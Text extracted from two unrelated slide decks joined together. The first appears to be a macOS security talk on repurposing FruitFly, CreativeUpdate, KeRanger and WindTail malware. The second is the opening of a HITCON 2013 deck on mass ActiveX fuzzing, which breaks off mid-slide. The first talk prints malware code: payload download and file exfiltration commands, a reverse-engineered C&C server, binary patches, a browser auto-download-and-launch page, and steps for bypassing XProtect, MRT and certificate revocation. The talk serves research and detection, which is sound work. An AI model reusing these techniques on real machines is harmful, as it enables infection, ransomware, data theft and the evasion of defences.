$g = shift @r; push @r, $g;
$l = new IO::Socket::INET(
PeerAddr => scalar( reverse $g ),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10 );
01
02
03
04
05
06
07
08
09
10
11
12
13
$ cat ~/Library/LaunchAgents/
com.fruitfly.plist
{
KeepAlive = 0;
Label = "com.fruitfly.host";
ProgramArguments = (
"/Users/user/.fruitfly"
"ip.addr:port"
);
RunAtLoad = 1;
}
$ ./fruitfly <port>
$ ./fruitfly <addr:port>
specify (custom)C&C via cmdline!
persist (w/ C&C server)
no need to patch (malware)!
parsing cmdline args?
creating a custom installer
OSX.FRUITFLY
#ex: $ python ffInstaller.py FruitFly/fpsaud 192.168.0.2:1337
FRUIT_FLY = '~/fpsaud'
FRUIT_FLY_PLIST = '~/Library/LaunchAgents/com.fruit.fly.plist'
plist = '<?xml version="1.0" encoding="UTF-8"?> ...'
shutil.copyfile(sys.argv[1], os.path.expanduser(FRUIT_FLY))
with open(os.path.expanduser(FRUIT_FLY_PLIST), 'w') as plistFile:
plistFile.write(plist % (os.path.expanduser(FRUIT_FLY), sys.argv[2]))
01
02
03
04
05
06
07
08
09
OSX.FruitFly installer
hrmm,
we need an installer then
copy malware
write plist
}
osx.fruitfly "repurposed"
DEMO
spread via a popular app website
OSX.CREATIVEUPDATE (MINER)
macupdate.com
security alert
monero (xmr) miner
not mozilla!
signed?
a brief triage
OSX.CREATIVEUPDATE
$ hdiutil attach "Firefox 58.0.2.dmg"
attached "Firefox 58.0.2.dmg" -> /Volumes/Firefox
mount (infected) dmg
void -[ScriptExecController loadAppSettings]{
//get path of 'script' in Resources directory
r13 = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];
...
[self executeScriptWithoutPrivileges];
01
02
03
04
05
06
void -[ScriptExecController executeScriptWithoutPrivileges]{
//launch Resources/script
r13->task = [[NSTask alloc] init];
[r13->task setLaunchPath:r13->interpreterPath];
[r13->task setArguments:r13->arguments];
[r13->task launch];
01
02
03
04
05
06
07
a brief triage (script)
OSX.CREATIVEUPDATE
$ cat /Volumes/Firefox/Firefox.app/Contents/Resources/script
open Firefox.app
if [ -f ~/Library/mdworker/mdworker ]; then
killall MozillaFirefox
else
nohup curl -o ~/Library/mdworker.zip https://public.adobecc.com/files/
1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?content_disposition=attachment &&
unzip -o ~/Library/mdworker.zip -d ~/Library &&
mkdir -p ~/Library/LaunchAgents &&
mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents &&
sleep 300 &&
launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist &&
rm -rf ~/Library/mdworker.zip &&
killall MozillaFirefox &
Resources/script
}
plist
binary
launch real Firefox!
mdworker.zip
a brief triage (miner)
OSX.CREATIVEUPDATE
$"cat"MacOS.plist"
<key>ProgramArguments</key>"
<array>"
"<string>sh</string>"
"<string>-c</string>"
"<string>"
""~/Library/mdworker/mdworker"
""-user"[email protected]"-xmr""
"</string>"
</array>"
...""
MacOS.plist
(launches 'mdworker')
$"./mdworker"-help"
""Usage:"
"""minergate-cli"[-version]"-user"<email>"..."
mdworker
minergate's cli miner
repurposing the miner
OSX.CREATIVEUPDATE
$ cat MacOS.plist
...
<string>
~/Library/mdworker/mdworker
-user [email protected] -xmr
</string>
change miner account
modify Resources/script
$ cat Resources/script
open Firefox.app
...
unzip -o mdworker.zip -d ~/Library &&
mkdir -p ~/Library/LaunchAgents &&
mv ~/Library/mdworker/MacOS.plist ~/Library/LaunchAgents &&
launchctl load -w ~/Library/LaunchAgents/MacOS.plist &&
killall MozillaFirefox &
Resources/
mdworker.zip
add mdworker.zip
server (now) offline
}
plist
miner
mdworker.zip
repurposing the miner
OSX.CREATIVEUPDATE
$ hdiutil create -volname "Firefox 58.0.2" -srcfolder Firefox.app -ov
-format UDZO "Firefox 58.0.2.dmg"
created: Firefox 58.0.2.dmg
demo!
re-package into Firefox 58.0.2.dmg
spread via transmission.app official website
OSX.KERANGER (RANSOMWARE)
$ file Transmission.app/Contents/Resources/General.rtf
General.rtf: Mach-O 64-bit executable x86_64
General.rtf: macho-o 64-bit binary
malware
//copy malware:
// General.rtf -> ~/Library/kernel_service
// then make executable and execute via 'system'
sprintf_chk(pathSrc, ... "%s/Resources/General.rtf", ...);
sprintf_chk(pathDest, ... "%s/Library/kernel_service", ...);
chmod(pathDest, 0x40);
system(pathDest);
01
02
03
04
05
06
07
08
hacked!
install/launch payload
(General.rtf)
a brief triage
OSX.KERANGER
//encrypt /Users
recursive_task("/Users", _encrypt_entry, _putReadme);
//encrypt /Volumes
recursive_task("/Volumes", _check_ext_encrypt, _putReadme);
//mark encryption as completed
sprintf_chk(0x0, 0x0, 0x400, "%s/Library/.kernel_complete"...);
rbx = fopen(0x0, "w"); fwrite("do not touch this\n", 0x12, 0x1, rbx);
01
02
03
04
05
06
07
08
09
(public)
RSA key
decrypt
instructions
$ ./networkSniffer
GET /osx/ping?
user_id=general&uuid=c26f3...&model=VMware7,1
HTTP/1.0
Host: lclebb6kvohlkcml.onion.link
User-Agent: Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
41.0.2228.0 Safari/537.36
network request to TOR-based C&C
encrypt all things!
}
repurposing the ransomware
OSX.KERANGER
nop out 3-day sleep
modify C&C servers
(127.0.0.1 for testing)
startEncrypt:
...
0x000000010000238b E820FDFFFF call waitOrExit
0x0000000100002390 85C0 test eax, eax
0x0000000100002392 0F84A1020000 je leave
01
02
03
04
05
startEncrypt:
...
0x000000010000238b 90 nop
0x000000010000238c 90 nop
...
0x0000000100002397 90 nop
01
02
03
04
05
06
repurposing the ransomware
OSX.KERANGER
$ nc -l 0.0.0.0 80 < response.txt
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2010 23:26:07 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDuUx6Py8PNQwaN6A1...
nokVRGKUPt3k3ptXPYQIDAQAB
c2VuZCBhbGwgeW91ciBtb25leXogdG8gd2FyZGxlQG9iamVjdGl2ZS1
zZWUuY29tIQ==
(public)
RSA key
decrypt
instructions
expected (base64 encoded) response
(response.txt)
"C&C" server
create custom C&C "server"
repurposing the ransomware
DEMO
re-package (replace General.rtf)
triage (infection vector)
OSX.WINDTAIL (BACKDOOR)
$"cat"Final_Presentation.app/"
"""""""""""Contents/Info.plist""
<?xml"version="1.0""encoding="UTF-8"?>"
<plist"version="1.0">"
<dict>"
""..."
""<key>CFBundleURLTypes</key>"
""<array>"
""""<dict>"
""""""<key>CFBundleURLName</key>"
""""""<string>Local"File</string>"
""""""<key>CFBundleURLSchemes</key>"
""""""<array>"
""""""""<string>openurl2622007</string>"
""""""</array>"
""""</dict>"
""</array>"
custom url scheme
"Remote Mac Exploitation Via Custom URL Schemes"
objective-see.com/blog/blog_0x38.html
triage (capabilities)
OSX.WINDTAIL
# ./procInfo
[ process start]
pid: 1202
path: /usr/bin/zip
args: (
"/usr/bin/zip",
"/tmp/psk.txt.zip",
"/private/etc/racoon/psk.txt"
)
persistence (login item)
# ./procInfo
[ process start]
pid: 1258
path: /usr/bin/curl
user: 501
args: (
"/usr/bin/curl",
"-F",
"vast=@/tmp/psk.txt.zip",
"-F",
"od=1601201920543863",
"-F",
"kl=users-mac.lan-user",
"string2me.com/.../kESklNvxsNZQcPl.php"
)
file collection
file exfiltration
triage (download)
OSX.WINDTAIL
-(void)sdf {
//get file name from C&C server
var_50 = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE....];
url = [[NSURL alloc] initWithString:[NSString stringWithFormat:var_50, ....];
request = [NSURLRequest requestWithURL:url,...];
data = [NSURLConnection sendSynchronousRequest:request ...];
fileName = [[NSString alloc] initWithData:data encoding:rcx ...];
//get file contents from C&C server
rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...];
fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString
stringWithFormat:@"%@%@", rcx, r8] ...];
//save to disk
[fileContents writeToFile: fileName ...];
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
$"./netiquette"-list"
usrnode(4897)"
"127.0.0.1"->"flux2key.com:80"(Established)
usrnode(4897)"
"127.0.0.1"->"flux2key.com:80"(Established)
GET /liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php
response: file name
GET /liaROelcOeVvfjN/update
response: file contents
2x connections
triage (execute)
OSX.WINDTAIL
-(void)sdf {
//extract via 'ditto'
task = [[NSTask alloc] init];
[task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."];
rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...];
[task setArguments:rdx, ...];
[task launch];
//launch
bundle = [[NSBundle bundleWithPath:filePath] executablePath];
task = [[NSTask alloc] init];
[task setLaunchPath:bundle];
[task launch];
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
#"./procInfo"
["process"start]"
path:"/usr/bin/ditto"
args:"(""/usr/bin/ditto","
"""""""""-x",""-k","
"""""""""~/Library/update.zip",""~/Library"")
["process"start]"
path:"~/Library/update.app
download & execute
triage (remote self-delete)
OSX.WINDTAIL
"1"
terminate
delete
r14 = [NSFileManager defaultManager];
rdx = [[NSBundle mainBundle] bundlePath];
//remove (self)
[r14 removeItemAtPath:rdx error:rcx];
//terminate (self)
[[NSApplication sharedApplication] terminate:0x0 ...];
01
02
03
04
05
06
07
08
http://flux2key.com/liaROelcOeVvfjN/
fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
}
repurposing the exploit
OSX.WINDTAIL
//autodown .zip
//Safari will unzip & trigger url registration
var a = document.createElement('a');
a.setAttribute('href', 'https://file.io/kBTfCn');
a.setAttribute('download', 'Final_Presentation');
$(a).appendTo('body');
$(a)[0].click();
//launch app via custom url scheme
location.replace("openurl2622007://");
01
02
03
04
05
06
07
08
09
10
11
download & launch malware
"Final_Presentation"
repurposing the exploit (demo)
OSX.WINDTAIL
repurposing the implant
OSX.WINDTAIL
modify C&C addresses
C&C's encrypted :/
inject library &
hook decryption routine?!
overwrite (unneeded)
LC_LOAD_DYLIB entry
$"vmmap"usrnode"
__TEXT""~/Library/Final_Presentation.app/
Contents/MacOS/usrnode"
__TEXT""~/Library/Final_Presentation.app/
Contents/MacOS/swizzle.dylib
injected dylib: loaded!
repurposing the implant
OSX.WINDTAIL
method_exchangeImplementations(
class_getInstanceMethod([self class], @selector(swizzle:)),
class_getInstanceMethod(NSClassFromString(@"appdele"), @selector(yoop:)));
-(NSString*)swizzle:(NSData*)data {
//invoke original method ("yoop") to decrypt
decrypted = ((NSString*(*)(id,SEL,NSData*))origImplementation)(self,@selector(yoop:), data);
//modify decrypted string as needed!
return decrypted;
}
01
02
03
04
05
06
07
08
09
10
11
12
13
swaps methods, via 'swizzle'
url = [r15 yoop:@"F5Ur0CCFMO...];
01
"flux2key.com"
if (decrypt == "flux2key.com")
return "ourServer.com"
"ourServer.com"
"F5Ur0CCFMO..."
method: "swizzle"
method: "yoop"
"F5Ur0CCFMO..."
-> "flux2key.com"
OSX.WINDTAIL
$ open Final_Presentation.app
dylib: loaded in usrnode (pid 1337)
dylib: swizzled 'appdele yoop:'
dylib: decrypted: "doc"
dylib: decrypted: "docx"
dylib: decrypted: "ppt"
dylib: decrypted: flux2key.com
dylib: swapping C&C server addr!
flux2key.com -> "ourServer.com"
}
flux2key.com
exfil
download
& execute
ourServer.com
repurposing the implant
OSX.WINDTAIL
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
def run(server_class=HTTPServer, handler_class=Handler):
httpd = server_class(('', 80), handler_class)
httpd.serve_forever()
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
boundary = self.headers.plisttext.split("=")[1]
remainbytes = int(self.headers['content-length'])
fn = re.findall(r'.*name="vast"; filename="(.*)"', line)
fn = os.path.join('/tmp/exfil', fn[0])
out = open(fn, 'wb')
out.write(self.rfile.readline())
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
file exfil (POST)
custom C&C server: exfil
c&c logic: file exfil
custom C&C server: download & execute
OSX.WINDTAIL
def do_GET(self):
#request for file name
if 'runs=tup' in self.path:
self.wfile.write('update.zip')
#request for file contents
elif 'update.zip' in self.path:
with open('update.zip', mode='rb') as file:
self.wfile.write(file.read())
01
02
03
04
05
06
07
08
09
10
request: file name
(we pass back "update.zip")
request: file contents
"update.zip"
c&c logic: download & execute
"update.bin"
custom C&C server: self-delete
OSX.WINDTAIL
def do_GET(self):
#request for self-delete
if 'xnvk' in self.path:
self.wfile.write("1")
01
02
03
04
05
request: self-delete? ('xnvk')
(we pass back "1")
"1"
terminate
delete
}
c&c logic: self-delete
!Detection
remaining unseen
obstacles...but rather trivial to bypass ;)
APPLE'S BUILT-IN MALWARE MITIGATIONS
XProtect
$ log show | grep -i MRT
2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.Snake.A infection.
2019-07-16 MRT: (libswiftFoundation.dylib) Found OSX.CpuMeaner.A infection.
revoked certificate
checks
Malware Removal Tool (MRT)
"We designed macOS with advanced technologies ...to
constantly monitor, and ultimately keep your Mac safer"
-apple
built-in signature-based scanner (downloads)
XPROTECT
rule"KeRangerA"
{"
"""meta:"
""""description"=""OSX.KeRanger.A""
""""strings:"
""""""""$a"="{48"8D"BD"D0"EF"FF"FF"BE"00"00"00"00"BA"00"04"00"00"31"C0"49"89"D8"??"??"??"??"??"31"F6"""""
""""""""""""""4C"89"E7"??"??"??"??"??"83"F8"FF"74"57"C7"85"C4"EB"FF"FF"00"00"00"00}"
""""condition:"
""""""""Macho"and"$a"
}
/System/Library/CoreServices/XProtect.bundle/Contents/
Resources/XProtect.yara
'UXProtect' (Digita)
scans downloads
...by changing 1 byte
BYPASSING XPROTECT
description = "OSX.KeRanger.A"
strings:
$a = {48 8D BD D0 EF FF FF BE 00 00 00 00 BA 00 04 00 00 31 C0 49 89 D8 ?? ?? ?? ?? ??
31 F6 4C 89 E7 ?? ?? ?? ?? ?? 83 F8 FF 74 57 C7 85 C4 EB FF FF 00 00 00 00}
01
02
03
04
Transmission.app
re-order
instructions
modify
instructions/consts
mov edx, 0x400
mov edx, 0x300
XProtect.yara
a security mechanism to block malicious code
CERTIFICATE CHECKS
$ spctl --verbose=4 --assess --type execute OSX.WindTail/Final_Presentation.app
Final_Presentation.app: CSSMERR_TP_CERT_REVOKED
revoked
(CSSMERR_TP_CERT_REVOKED)
$ log stream
kernel: (AppleMobileFileIntegrity) AMFI: code signature validation failed.
trustd: [com.apple.securityd:policy] cert[0]: Revocation =(leaf)[force]> 1
amfid: (Security) Trust evaluate failure: [leaf Revocation1]
kernel: proc 1947: load code signature error 4 for file "usrnode"
now revoked: OSX.WindTail
revoked cert?
blocked!
...simply unsign (and/or) resign
BYPASSING CERTIFICATE REVOCATION
$ codesign --remove-signature OSX.WindTail/Final_Presentation.app
$ codesign -dvv OSX.WindTail/Final_Presentation.app
Final_Presentation.app: code object is not signed at all
remove (revoked) certificate
undocumented flag: '--remove-signature'
$ codesign -s "Developer ID Application: <some dev id>"
(re)sign
(re)signed, validly
built-in signature-based scanner (installed)
MALWARE REMOVAL TOOL (MRT)
$ strings -a /System/Library/CoreServices/
MRT.app/Contents/MacOS/MRT | grep "OSX."
OSX.CpuMeaner.A
OSX.Mudminer.A
OSX.ShellDrop.A
OSX.Snake.A
OSX.Proton.D
OSX.Proton.C
OSX.Proton.B
OSX.Morcut.A
OSX.Trovi.A
OSX.InstallImitator.A
OSX.Eleanor.A
OSX.WireLurker.A
OSX.MaMi.A
OSX.HMining.C
OSX.HMining.B
OSX.HMining.A
OSX.Mughthesec.A
OSX.Netwire.A
OSX.XcodeGhost.A
OSX.Fruitfly.B
(embedded) MRT detections
remove!
...not just malware!
...simply rename components
BYPASSING MRT
}
MRT signature: OSX.Fruitfly.A
persistence:
"com.client.client.plist"
binary: ~/.client
FRUIT_FLY = "anything but '~/.client' "
FRUIT_FLY_PLIST = "anything but 'com.client.client.plist' "
plist = '''<?xml version="1.0" encoding="UTF-8"?> ...'''
shutil.copyfile(sys.argv[1], os.path.expanduser(FRUIT_FLY))
with open(os.path.expanduser(FRUIT_FLY_PLIST), 'w') as plistFile:
plistFile.write(plist % (os.path.expanduser(FRUIT_FLY), sys.argv[2]))
01
02
03
04
05
06
07
bypass MRT
...similarly "bypassable"?
3RD-PARTY ANTI-VIRUS PRODUCTS
}
OSX.FruitFly detections: 0
pack
encrypt
in-memory
"Writing Bad @$$ Malware
(for OSX)"
p. wardle BH/2015
avoid detection?
Detections
generically detecting (repurposed) threats
detect malware via (unusual) behaviors
detect malware via signatures
generically detect (even repurposed) malware!!
persistence
mic/camera
download/upload
screenshot
key logging
synthetic clicks
file encryption
via file i/o monitoring
PERSISTENCE
int main(int argv, char** argv) {
r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0);
LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0,
r12, 0x0, 0x0);
...
}
01
02
03
04
05
06
07
08
09
10
"Methods of Malware Persistence on Mac OS"
www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
persistence alert!
OSX.WindTail persisting
via AVFoundation notifications
MIC/CAMERA ACCESS
public func start(eventHandler: @escaping AudioVideoHandler) {
var property = CMIOObjectPropertyAddress(
mSelector: kAudioDevicePropertyDeviceIsRunningSomewhere,
mScope: kAudioObjectPropertyScopeGlobal,
mElement: kAudioObjectPropertyElementMaster)
CMIOObjectAddPropertyListener(camID, &property, camCallback,
self.toOpaque())
01
02
03
04
05
06
07
08
"OverSight: Exposing Spies on macOS"
OSX.Crisis
OSX.Eleanor
OSX.Mokes
OSX.FruitFly
}
detecting mic/camera access
SpeakerDeck.com/patrickwardle/hack-in-the-box-2017-oversight-
exposing-spies-on-macos
via CoreGraphics Event Notifications
KEYLOGGER DETECTION
public func start(eventHandler: @escaping EventTapsHandler) {
notify_register_dispatch(kCGNotifyEventTapAdded, &self.notifyToken, DispatchQueue.global())
{ [weak self] event in
for newTap in newTaps.keys where nil == strongSelf.previousTaps[newTap] {
if let tap = newTaps[newTap] {
eventHandler(EventTapsEvent(tap: tap))
...
01
02
03
04
05
06
07
08
detecting keyboard "event
taps" (kCGNotifyEventTapAdded)
via (passive) Core Graphics event tap
SYNTHETIC CLICK DETECTION
"The Mouse is Mightier than the Sword"
Media.Defcon.org/DEF CON 26/DEF CON 26 presentations/Patrick Wardle/
DEFCON-26-Patrick-Wardle-The-Mouse-Is-Mightier-Synthetic0Reality.pdf
access keychain?
"synthetic click"
source pid
"state"
(0x1: synthetic)
allow
allow
DETECTING SYNTHETIC CLICKS
generic protection, regardless of technique?
"state"
<process> is trying to do
<stuff> !!
deny
allow
let mask = (1 << CGEventType.leftMouseDown.rawValue) |
(1 << CGEventType.leftMouseUp.rawValue) ...
eventTap = CGEvent.tapCreate(tap:.cgSessionEventTap,
eventsOfInterest: mask,
callback: eventCallback, ... )
01
02
03
04
05
06
public func eventCallback(proxy: CGEventTapProxy, eventType:
CGEventType, event: CGEvent, ... ) {
if 0 == event.getIntegerValueField(.eventSourceStateID) {
//detected synthetic mouse click!
}
01
02
03
04
05
06
(0x0 if synthetic)
OBJECTIVE-SEE(.COM)
free security tools for macOS!
GENERICALLY DETECTING MAC MALWARE
...via GamePlan (MonitorKit + Apple Game Engine)
MonitorKit
game (logic) engine
actions
(alert, log, etc)
alert !
DETECTING OSX.WINDSHIFT
via infection behaviors
$"cat"Final_Presentation.app/Contents/Info.plist""
"..."
"<key>CFBundleURLTypes</key>"
""<array>"
""""<dict>"
""""""<key>CFBundleURLSchemes</key>"
""""""<array>"
""""""""<string>openurl2622007</string>
$event.isNewDirectory == 1 AND $event.file.isAppBundle == 1
AND $event.file.bundle.infoDictionary.CFBundleURLTypes != nil
$event.isNewDirectory == 1 AND
$event.process.name == 'Safari'
Safari 'auto-open'
'auto' URL handler registration
Safari created
directory
app with custom URL handler
app start
alert !
+
+
?
DETECTING OSX.FRUITFLY
via 'install time' behaviors
($event.path MATCHES[cd] "/Library/LaunchAgents/.*.plist" OR
$event.path MATCHES[cd] "/Users/.*/Library/LaunchAgents/.*.plist") AND
$event.isNewFile == 1
!$event.file.contentsAsDict.ProgramArguments[0].signingInfo("AppleSigned")
launch agent
persistence
$"cat"~/Library/LaunchAgents/
com.client.client.plist"
...
<plist"version="1.0">"
<dict>"
"<key>ProgramArguments</key>"
"<array>"
"<string>"~/.client"</string>"
"</array>"
"...
"LaunchD" IN $tags AND
$event.file.contentsAsDict.ProgramArguments[0].
lastPathComponent.startsWith(".")
launch item persistence
not signed by apple
'hidden' binary
alert !
+
+
?
DETECTING OSX.FRUITFLY
via runtime behaviors
$event.process.path.lastPathComponent.startsWith(".")
$event.process.path.startsWith("/tmp")
$event.process.labels.contains("Unsigned")
webcam
synthetic clicks
+
+
...other (generic)
detections?
hidden process
dropper payload in /tmp
unsigned process
+
alert !
+
+
?
+
The Mac Security Conference
Maui, Hawaii
...early 2020
Objective by the Sea v3.0
MAHALO
@patrickwardle
mahalo :)
CREDITS
-
HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
-
HTTPS://GITHUB.COM/ARIS-T2
- "OSX.FRUITFLY RECYCLED | MACOS STILL VULNERABLE TO 'OLD' PERL SCRIPT"
-PHIL STOKES
- "REPURPOSING ONIONDUKE: A SINGLE CASE STUDY AROUND REUSING NATION STATE MALWARE"
-JOSH PITTS
images
resources | pdf |
HITCON 2013 : CYBERWAR, IN HACK WE TRUST
JUL. 19-20, 2013
How can I have 100 0-day for just 1-day
Version : Draft
Speak by R3d4l3rt
1
HITCON 2013
Introduction
I.
How can I found bug easily?
III.
Project Overview
II.
How can I have about one hundred vulnerability for just 1 days
IV.
Outline
•
Introduction of speaker
•
I just want to find a lot of vulnerability
•
Think it easier and Change one’s way of thinking
•
How can we found vulnerabilities
•
About ActiveX
•
APT Attacks via Active-X (Cases Study)
•
Introduction Automatic sample collections tool (Demo)
Introduction Auto Install sample tool (Demo)
•
Introductions Fuzzer
•
Introductions Exploit
•
Result of Tested
•
Examples (Active X Vulnerability)
2
HITCON 2013
Introduction
I.
How can I found bug easily?
III.
Project Overview
II.
How can I have about one hundred vulnerability for just 1 days
IV.
Outline
•
Introduction of speaker
•
I just want to find a lot of vulnerability
•
Think it easier and Change one’s way of thinking
•
How can we found vulnerabilities
•
About ActiveX
•
APT Attacks via Active-X (Cases Study)
•
Introduction Automatic sample collections tool (Demo)
Introduction Auto Install sample tool (Demo)
•
Introductions Fuzzer
•
Introductions Exploit
•
Result of Tested
•
Examples (Active X Vulnerability)
3
HITCON 2013
Introduction
Who…
Speaker
Introduction
Louis Hur is corporate president and Chief Executive Officer (CEO) of NSHC Corporation. He co-
founded NSHC with four Hackers in 2003 while studying at the University, and was the first CEO until
now Mr. Louis brings more than 15 years of field-proven experience security and
bug hunting
businesses that help clients reduce their enterprise-wide IT security risk. Prior to starting NSHC, He is
a frequent speaker on Internet security issues and has appeared as an expert on various media
outlets, including HK TV and MBC, KBS.
•Experience (2010 ~ 2013)
- 2013 Vulnerability Analysis of NSHC’s R3d4l3rt Teams.
(Discovered 0-day many times. )
- 2011 Black-Hat Abu Dhabi Speaker
- 2010 CSO Conference Speaker
He is working the new vulnerability analysis and bug hunting, mobile security research in NSHC Red
Alert Team. Also He is currently serving for Security Response Center at NSHC Company and
responsible for malicious code analysis and anti-virus products.
He is a frequent speaker on Internet security issues and has appeared as an expert on various media
outlets, including MBC, KBS, JTBC.
•Experience (2010 ~ 2013)
- 2013 Vulnerability Analysis of NSHC’s R3d4l3rt Teams.
(Discovered 0-day many times. )
- 2012 CSO Conference Speaker in KOREA
- 2011 Army Investigation Division served as an instructor
4
HITCON 2013
Introduction
I.
How can I found bug easily?
III.
Project Overview
II.
How can I have about one hundred vulnerability for just 1 days
IV.
Outline
•
Introduction of speaker
•
I just want to find a lot of vulnerability
•
Think it easier and Change one’s way of thinking
•
How can we found vulnerabilities
•
About ActiveX
•
APT Attacks via Active-X (Cases Study)
•
Introduction Automatic sample collections tool (Demo)
Introduction Auto Install sample tool (Demo)
•
Introductions Fuzzer
•
Introductions Exploit
•
Result of Tested
•
Examples (Active X Vulnerability)
5
HITCON 2013
Project Overview
I just want to find a lot of vulnerability
• I just want to find a lot of vulnerability.
But, It’s hard to find vulnerabilities.
• What is the Vulnerability ?
Vulnerability is Weakness, Flaw From Hardware or software of computer
Weakness, Flaw
There are key to our Red Alert Project.
Again and Again Remember
This Key Word is
Weakness, Flaw
6
HITCON 2013
Project Overview
Think it easier and Change one’s way of thinking
•
In a short time, it's hard to find many vulnerabilities in just one applications.
7
HITCON 2013
Project Overview
Think it easier and Change one’s way of thinking
•
In a short time, it's hard to find many vulnerabilities in just one applications.
•
But, If there are many target software …
8
HITCON 2013
Project Overview
Think it easier and Change one’s way of thinking
•
In a short time, it's hard to find many vulnerabilities in just one applications.
•
If you can fuzz many applications? - The net of the sleeper catches fish
Change one’s way
of thinking
9
HITCON 2013
Project Overview
How can we find vulnerabilities
•
One of Answers this question, It’s Fuzzing
•
Throw random bits at the program and see if it handles them
•
Popular robust testing mechanism for software
•
Fast and effective, easy to implement
•
I think that there are best solution which can found many vulnerability in the short
time.
10
HITCON 2013
Project Overview
How can we find vulnerabilities
•
Almost all of the software is intended to find vulnerabilities.
File Format
Network Protocol
ActiveX
Browser
Etc
Each module’s size is Small
Easy to collect ActiveX
There are exist so many vulnerability
The extend of damage is huge
Why did we
decide to fuzz
Active-X?
11
HITCON 2013
Project Overview
About Active X
Microsoft technology introduced in 1996 and based on the Component Object Model
(COM) and Object Linking and Embedding (OLE) technologies.
The intention of COM has been to create easily reusable pieces of code by creating
objects that offer interfaces which can be called by other COM objects or programs.
But ActiveX controls, like any other browser plugin, provide a ripe attack surface for the
malicious. Finding an exploitable flaw in a popular control gets MSRC attention at
Microsoft, and similar attention at other large companies.
Client
Function calls
to object
interfaces
Object
Object
Component
Server
12
HITCON 2013
Project Overview
About Active X
ActiveX controls are typically native code (e.g. C++) compiled binaries registered with the Windows
operating system.
Through a registration process the ActiveX control is considered scriptable,
meaning that Internet Explorer can load the control and HTML or JavaScript can interact with it.
Because ActiveX controls run native code in the browser, they can serve as an extension to the
browser. This can lead to numerous security threats not the least of which being that the control
can bypass Internet Explorer’s most precious security defenses
Security issues seems to be a constant problem with ActiveX controls. In fact, it seems most
vulnerabilities in Windows nowadays are actually due to poorly written third-party controls which
allow malicious websites to exploit buffer overflows or abuse command injection vulnerabilities.
Quite often these controls make the impression of their authors not having realized their code can
be instantiated from a remote website. The following chapters will describe methods to find,
analyze, and exploit bugs in ActiveX controls will be presented to the reader.
13
HITCON 2013
Project Overview
APT Attacks via Active X(3.20 Cyber Terror from Active-X)
2013.03.20 large-scale cyber attacks occurred
in the Republic of Korea.
Target for the financial institutions and the media,
they suffered a lot of damage.
North Korea has a cyber terrorist attacks and
ActiveX vulnerability was used.
Attack is prepared a long period of time and
we think that attacks of similar form will continue
to occur.
14
HITCON 2013
How can I found bug easily?
III.
Outline
•
Introduction Automatic sample collections tool (Demo)
Introduction Auto Install sample tool (Demo)
•
Introductions Fuzzer
•
Introductions Exploit
Introduction
I.
•
Introduction of speaker
Project Overview
II.
•
I just want to find a lot of vulnerability
•
Think it easier and Change one’s way of thinking
•
How can we found vulnerabilities
•
About ActiveX
•
APT Attacks via Active-X (Cases Study)
How can I have about one hundred vulnerability for just 1 days
IV.
•
Result of Tested
•
Examples (Active X Vulnerability)
15
HITCON 2013
Active X install
Information
Gathering and
Install Script
Generation
Proxy IP
Address
Gathering
Separation of
Install Script for
easily
automatic
installation
Setup for
Automatic
Install
Fuzzing Test
Make
a Exploit Code
Exploitable
?
Normal
Program
No
YES
How can I found bug easily?
16
HITCON 2013
Active X install
Information
Gathering and
Install Script
Generation
Proxy IP
Address
Gathering
Separation of
Install Script for
easily
automatic
installation
Setup for
Automatic
Install
Fuzzing Test
Make
a Exploit Code
Exploitable ?
Normal
Program
No
YES
How can I found bug easily?
STEP 1-1
STEP 1-2
17
HITCON 2013
Introduction Automatic sample collections tool
STEP 1-1 :
For collect the active-x applications, Our tools gets on the internet and search the site that include
active-x application. at this moment, Our Search Engine uses to many kind of IP Address to evasion
auto detect search engine.
How can I found bug easily?
Proxy Grabber
For collect proxy ip address list, We can use ‘Proxy
Grabber’. This program can help you scan any range of
addresses on present Proxy list. This tool made by
Hidemyass and this is python script language.
‘Proxy Grabber’ is also open source, so everyone can use
that. We can collect many ip address via Proxy Grabber”
Proxy IP Address list
18
HITCON 2013
Introduction Automatic sample collections tool
STEP 1-2 :
In this step, We can gather information of active-x. for example download link and CLSID,
application name in HTML Source Code, So target applications are chose at random through Web
search Engine.
How can I found bug easily?
ActiveX_Parser.py
‘ActiveX_Parser.py’
is
the
python
script
for
gathering the active-x information via web search
engine. This script used to many ip address from
step 1-1
As a result, we can
have 3 kinds of file
first is download
information.
And 2nd files is CLSID
Info. Last is Install
Script for fuzzing.
Result of ActiveX_Parser.py
19
HITCON 2013
Introduction Automatic sample collections tool
How can I found bug easily?
DEMO
20
HITCON 2013
Active X install
Information
Gathering and
Install Script
Generation
Proxy IP
Address
Gathering
Separation of
Install Script for
easily
automatic
installation
Setup for
Automatic
Install
Fuzzing Test
Make
a Exploit Code
Exploitable ?
Normal
Program
No
YES
How can I found bug easily?
STEP 2-1
STEP 2-2
STEP 2-3
21
HITCON 2013
Introduction Auto Install sample tool
STEP 2-1 :
